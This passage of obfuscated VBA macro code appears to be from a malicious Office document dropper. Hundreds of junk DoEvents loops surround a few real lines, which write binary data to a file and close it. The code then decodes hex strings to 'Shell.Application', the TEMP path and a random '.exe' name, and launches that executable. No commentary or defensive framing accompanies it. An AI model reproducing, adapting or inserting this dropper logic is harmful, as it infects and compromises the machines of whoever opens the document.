Dim HGlzBOQp As Integer
HGlzBOQp = 8
Do While HGlzBOQp < 84
DoEvents: HGlzBOQp = HGlzBOQp + 1
Loop

Loop


Dim RykqeOrN As Integer

Dim fTkFHzNi As Integer
fTkFHzNi = 1
Do While fTkFHzNi < 18
DoEvents: fTkFHzNi = fTkFHzNi + 1
Loop

RykqeOrN = 6
Do While RykqeOrN < 43

Dim MWMPdick As Integer
MWMPdick = 6
Do While MWMPdick < 61
DoEvents: MWMPdick = MWMPdick + 1
Loop

DoEvents: RykqeOrN = RykqeOrN + 1

Dim lHaFThhz As Integer
lHaFThhz = 4
Do While lHaFThhz < 72
DoEvents: lHaFThhz = lHaFThhz + 1
Loop

Loop


Dim keLZgydB As Integer
keLZgydB = 1
Do While keLZgydB < 51
DoEvents: keLZgydB = keLZgydB + 1
Loop

    PUTVPTITTWC = FreeFile

    Open RCFFODVWBKD For Binary Access Write As #PUTVPTITTWC

Dim hEfRxBLA As Integer

Dim ZwLfeyjA As Integer

Dim eRhyNXeK As Integer
eRhyNXeK = 1
Do While eRhyNXeK < 12
DoEvents: eRhyNXeK = eRhyNXeK + 1
Loop

ZwLfeyjA = 6
Do While ZwLfeyjA < 98

Dim wkACVEcT As Integer
wkACVEcT = 2
Do While wkACVEcT < 25
DoEvents: wkACVEcT = wkACVEcT + 1
Loop

DoEvents: ZwLfeyjA = ZwLfeyjA + 1

Dim HaVkQAXy As Integer
HaVkQAXy = 8
Do While HaVkQAXy < 24
DoEvents: HaVkQAXy = HaVkQAXy + 1
Loop

Loop


Dim yksKhnJW As Integer
yksKhnJW = 2
Do While yksKhnJW < 57
DoEvents: yksKhnJW = yksKhnJW + 1
Loop

hEfRxBLA = 1
Do While hEfRxBLA < 79

Dim cNdQXDYC As Integer

Dim MkhdpEcU As Integer
MkhdpEcU = 6
Do While MkhdpEcU < 14
DoEvents: MkhdpEcU = MkhdpEcU + 1
Loop

cNdQXDYC = 5
Do While cNdQXDYC < 84

Dim PmDiYPQH As Integer
PmDiYPQH = 5
Do While PmDiYPQH < 84
DoEvents: PmDiYPQH = PmDiYPQH + 1
Loop

DoEvents: cNdQXDYC = cNdQXDYC + 1

Dim SeshZLmj As Integer
SeshZLmj = 7
Do While SeshZLmj < 11
DoEvents: SeshZLmj = SeshZLmj + 1
Loop

Loop


Dim HKJZIabh As Integer
HKJZIabh = 8
Do While HKJZIabh < 61
DoEvents: HKJZIabh = HKJZIabh + 1
Loop

DoEvents: hEfRxBLA = hEfRxBLA + 1

Dim ZvYhyTzM As Integer

Dim xztkZnYp As Integer
xztkZnYp = 5
Do While xztkZnYp < 84
DoEvents: xztkZnYp = xztkZnYp + 1
Loop

ZvYhyTzM = 3
Do While ZvYhyTzM < 36

Dim LyFENSoG As Integer
LyFENSoG = 9
Do While LyFENSoG < 35
DoEvents: LyFENSoG = LyFENSoG + 1
Loop

DoEvents: ZvYhyTzM = ZvYhyTzM + 1

Dim rCznWGOs As Integer
rCznWGOs = 8
Do While rCznWGOs < 82
DoEvents: rCznWGOs = rCznWGOs + 1
Loop

Loop


Dim yUbZQIdi As Integer
yUbZQIdi = 8
Do While yUbZQIdi < 88
DoEvents: yUbZQIdi = yUbZQIdi + 1
Loop

Loop


Dim WdUuJGxL As Integer

Dim iAFHYMOl As Integer
iAFHYMOl = 2
Do While iAFHYMOl < 97
DoEvents: iAFHYMOl = iAFHYMOl + 1
Loop

WdUuJGxL = 7
Do While WdUuJGxL < 74

Dim EUllyVPT As Integer
EUllyVPT = 6
Do While EUllyVPT < 38
DoEvents: EUllyVPT = EUllyVPT + 1
Loop

DoEvents: WdUuJGxL = WdUuJGxL + 1

Dim mORAClGw As Integer
mORAClGw = 2
Do While mORAClGw < 57
DoEvents: mORAClGw = mORAClGw + 1
Loop

Loop


Dim sPyqtlvl As Integer
sPyqtlvl = 9
Do While sPyqtlvl < 61
DoEvents: sPyqtlvl = sPyqtlvl + 1
Loop

    Put #PUTVPTITTWC, , QOSQEZUAJDG

Dim HxlpVlnN As Integer

Dim iINjwbMQ As Integer

Dim vvfjtxtB As Integer
vvfjtxtB = 3
Do While vvfjtxtB < 27
DoEvents: vvfjtxtB = vvfjtxtB + 1
Loop

iINjwbMQ = 9
Do While iINjwbMQ < 36

Dim HvqQjbSS As Integer
HvqQjbSS = 6
Do While HvqQjbSS < 67
DoEvents: HvqQjbSS = HvqQjbSS + 1
Loop

DoEvents: iINjwbMQ = iINjwbMQ + 1

Dim vjrCibgl As Integer
vjrCibgl = 5
Do While vjrCibgl < 87
DoEvents: vjrCibgl = vjrCibgl + 1
Loop

Loop


Dim RXnKGvQa As Integer
RXnKGvQa = 4
Do While RXnKGvQa < 79
DoEvents: RXnKGvQa = RXnKGvQa + 1
Loop

HxlpVlnN = 8
Do While HxlpVlnN < 81

Dim jPsbwVCy As Integer

Dim YpAmhbKX As Integer
YpAmhbKX = 4
Do While YpAmhbKX < 72
DoEvents: YpAmhbKX = YpAmhbKX + 1
Loop

jPsbwVCy = 1
Do While jPsbwVCy < 47

Dim sniQGYUC As Integer
sniQGYUC = 9
Do While sniQGYUC < 69
DoEvents: sniQGYUC = sniQGYUC + 1
Loop

DoEvents: jPsbwVCy = jPsbwVCy + 1

Dim mbIDMSsn As Integer
mbIDMSsn = 9
Do While mbIDMSsn < 41
DoEvents: mbIDMSsn = mbIDMSsn + 1
Loop

Loop


Dim ESFXHYvz As Integer
ESFXHYvz = 3
Do While ESFXHYvz < 39
DoEvents: ESFXHYvz = ESFXHYvz + 1
Loop

DoEvents: HxlpVlnN = HxlpVlnN + 1

Dim ruDbQotx As Integer

Dim GWOBcwzn As Integer
GWOBcwzn = 8
Do While GWOBcwzn < 23
DoEvents: GWOBcwzn = GWOBcwzn + 1
Loop

ruDbQotx = 1
Do While ruDbQotx < 83

Dim pcHdISpP As Integer
pcHdISpP = 3
Do While pcHdISpP < 68
DoEvents: pcHdISpP = pcHdISpP + 1
Loop

DoEvents: ruDbQotx = ruDbQotx + 1

Dim iPSZALRr As Integer
iPSZALRr = 9
Do While iPSZALRr < 98
DoEvents: iPSZALRr = iPSZALRr + 1
Loop

Loop


Dim GynrhhXi As Integer
GynrhhXi = 8
Do While GynrhhXi < 53
DoEvents: GynrhhXi = GynrhhXi + 1
Loop

Loop


Dim FNjgMtef As Integer

Dim euyxHayI As Integer
euyxHayI = 1
Do While euyxHayI < 83
DoEvents: euyxHayI = euyxHayI + 1
Loop

FNjgMtef = 8
Do While FNjgMtef < 86

Dim rJAZmRAB As Integer
rJAZmRAB = 2
Do While rJAZmRAB < 14
DoEvents: rJAZmRAB = rJAZmRAB + 1
Loop

DoEvents: FNjgMtef = FNjgMtef + 1

Dim XGpaTzLX As Integer
XGpaTzLX = 9
Do While XGpaTzLX < 32
DoEvents: XGpaTzLX = XGpaTzLX + 1
Loop

Loop


Dim LkmJLrsn As Integer
LkmJLrsn = 9
Do While LkmJLrsn < 37
DoEvents: LkmJLrsn = LkmJLrsn + 1
Loop

    Close #PUTVPTITTWC

Dim JcsJjbFl As Integer

Dim vBqocbcl As Integer

Dim usQNrxqh As Integer
usQNrxqh = 9
Do While usQNrxqh < 94
DoEvents: usQNrxqh = usQNrxqh + 1
Loop

vBqocbcl = 5
Do While vBqocbcl < 84

Dim BklVgxhS As Integer
BklVgxhS = 1
Do While BklVgxhS < 75
DoEvents: BklVgxhS = BklVgxhS + 1
Loop

DoEvents: vBqocbcl = vBqocbcl + 1

Dim SKbRxLlA As Integer
SKbRxLlA = 5
Do While SKbRxLlA < 88
DoEvents: SKbRxLlA = SKbRxLlA + 1
Loop

Loop


Dim oscApaJl As Integer
oscApaJl = 9
Do While oscApaJl < 32
DoEvents: oscApaJl = oscApaJl + 1
Loop

JcsJjbFl = 8
Do While JcsJjbFl < 28

Dim FpsicLkO As Integer

Dim MYZxNtzm As Integer
MYZxNtzm = 9
Do While MYZxNtzm < 31
DoEvents: MYZxNtzm = MYZxNtzm + 1
Loop

FpsicLkO = 8
Do While FpsicLkO < 26

Dim lTpYzoju As Integer
lTpYzoju = 4
Do While lTpYzoju < 71
DoEvents: lTpYzoju = lTpYzoju + 1
Loop

DoEvents: FpsicLkO = FpsicLkO + 1

Dim nMxFVyqk As Integer
nMxFVyqk = 3
Do While nMxFVyqk < 31
DoEvents: nMxFVyqk = nMxFVyqk + 1
Loop

Loop


Dim gWkaqvVn As Integer
gWkaqvVn = 1
Do While gWkaqvVn < 11
DoEvents: gWkaqvVn = gWkaqvVn + 1
Loop

DoEvents: JcsJjbFl = JcsJjbFl + 1

Dim vaVqnBiS As Integer

Dim aYxzsiIq As Integer
aYxzsiIq = 8
Do While aYxzsiIq < 26
DoEvents: aYxzsiIq = aYxzsiIq + 1
Loop

vaVqnBiS = 3
Do While vaVqnBiS < 32

Dim zwxLwOKm As Integer
zwxLwOKm = 8
Do While zwxLwOKm < 24
DoEvents: zwxLwOKm = zwxLwOKm + 1
Loop

DoEvents: vaVqnBiS = vaVqnBiS + 1

Dim EfUuWsad As Integer
EfUuWsad = 6
Do While EfUuWsad < 35
DoEvents: EfUuWsad = EfUuWsad + 1
Loop

Loop


Dim LtWagePL As Integer
LtWagePL = 9
Do While LtWagePL < 63
DoEvents: LtWagePL = LtWagePL + 1
Loop

Loop


Dim fdvqLPbf As Integer

Dim lfTlWdah As Integer
lfTlWdah = 2
Do While lfTlWdah < 25
DoEvents: lfTlWdah = lfTlWdah + 1
Loop

fdvqLPbf = 1
Do While fdvqLPbf < 14

Dim XNzaBXpC As Integer
XNzaBXpC = 7
Do While XNzaBXpC < 72
DoEvents: XNzaBXpC = XNzaBXpC + 1
Loop

DoEvents: fdvqLPbf = fdvqLPbf + 1

Dim FVOEVtmg As Integer
FVOEVtmg = 8
Do While FVOEVtmg < 24
DoEvents: FVOEVtmg = FVOEVtmg + 1
Loop

Loop


Dim JPSRfzXY As Integer
JPSRfzXY = 8
Do While JPSRfzXY < 21
DoEvents: JPSRfzXY = JPSRfzXY + 1
Loop



End Function
Sub fdvdfvfd()

Dim Hvtlwyey As Integer

Dim yyPtIiFT As Integer

Dim HnXiseyg As Integer
HnXiseyg = 6
Do While HnXiseyg < 29
DoEvents: HnXiseyg = HnXiseyg + 1
Loop

yyPtIiFT = 2
Do While yyPtIiFT < 83

Dim blTpXROu As Integer
blTpXROu = 5
Do While blTpXROu < 88
DoEvents: blTpXROu = blTpXROu + 1
Loop

DoEvents: yyPtIiFT = yyPtIiFT + 1

Dim AFXGkQia As Integer
AFXGkQia = 3
Do While AFXGkQia < 39
DoEvents: AFXGkQia = AFXGkQia + 1
Loop

Loop


Dim TgoExyWN As Integer
TgoExyWN = 4
Do While TgoExyWN < 45
DoEvents: TgoExyWN = TgoExyWN + 1
Loop

Hvtlwyey = 8
Do While Hvtlwyey < 28

Dim jMoqRbmF As Integer

Dim lKCBtxru As Integer
lKCBtxru = 2
Do While lKCBtxru < 21
DoEvents: lKCBtxru = lKCBtxru + 1
Loop

jMoqRbmF = 4
Do While jMoqRbmF < 45

Dim SgVMbzVc As Integer
SgVMbzVc = 7
Do While SgVMbzVc < 55
DoEvents: SgVMbzVc = SgVMbzVc + 1
Loop

DoEvents: jMoqRbmF = jMoqRbmF + 1

Dim IPsRJAWl As Integer
IPsRJAWl = 4
Do While IPsRJAWl < 87
DoEvents: IPsRJAWl = IPsRJAWl + 1
Loop

Loop


Dim HXlONQfv As Integer
HXlONQfv = 6
Do While HXlONQfv < 99
DoEvents: HXlONQfv = HXlONQfv + 1
Loop

DoEvents: Hvtlwyey = Hvtlwyey + 1

Dim WglxERXO As Integer

Dim ZicrJdQN As Integer
ZicrJdQN = 6
Do While ZicrJdQN < 67
DoEvents: ZicrJdQN = ZicrJdQN + 1
Loop

WglxERXO = 9
Do While WglxERXO < 37

Dim gLUTadLy As Integer
gLUTadLy = 1
Do While gLUTadLy < 11
DoEvents: gLUTadLy = gLUTadLy + 1
Loop

DoEvents: WglxERXO = WglxERXO + 1

Dim SiHtZPwP As Integer
SiHtZPwP = 7
Do While SiHtZPwP < 25
DoEvents: SiHtZPwP = SiHtZPwP + 1
Loop

Loop


Dim PClEJDEj As Integer
PClEJDEj = 7
Do While PClEJDEj < 14
DoEvents: PClEJDEj = PClEJDEj + 1
Loop

Loop


Dim AYHOeZKb As Integer

Dim ybkSWSCd As Integer
ybkSWSCd = 8
Do While ybkSWSCd < 35
DoEvents: ybkSWSCd = ybkSWSCd + 1
Loop

AYHOeZKb = 5
Do While AYHOeZKb < 91

Dim NJkHZjDr As Integer
NJkHZjDr = 7
Do While NJkHZjDr < 28
DoEvents: NJkHZjDr = NJkHZjDr + 1
Loop

DoEvents: AYHOeZKb = AYHOeZKb + 1

Dim hWyxHtYW As Integer
hWyxHtYW = 4
Do While hWyxHtYW < 11
DoEvents: hWyxHtYW = hWyxHtYW + 1
Loop

Loop


Dim MIhmfDPv As Integer
MIhmfDPv = 9
Do While MIhmfDPv < 68
DoEvents: MIhmfDPv = MIhmfDPv + 1
Loop

Set fdfgdfeer4gf = CreateObject(fdhdfgdfvdfv("5368656C6C2E4170706C69636174696F6E"))
fdfgdfeer4gf.Open Environ(fdhdfgdfvdfv("54454D50")) & fdhdfgdfvdfv("5C564D5559585759534658512E657865")
End Sub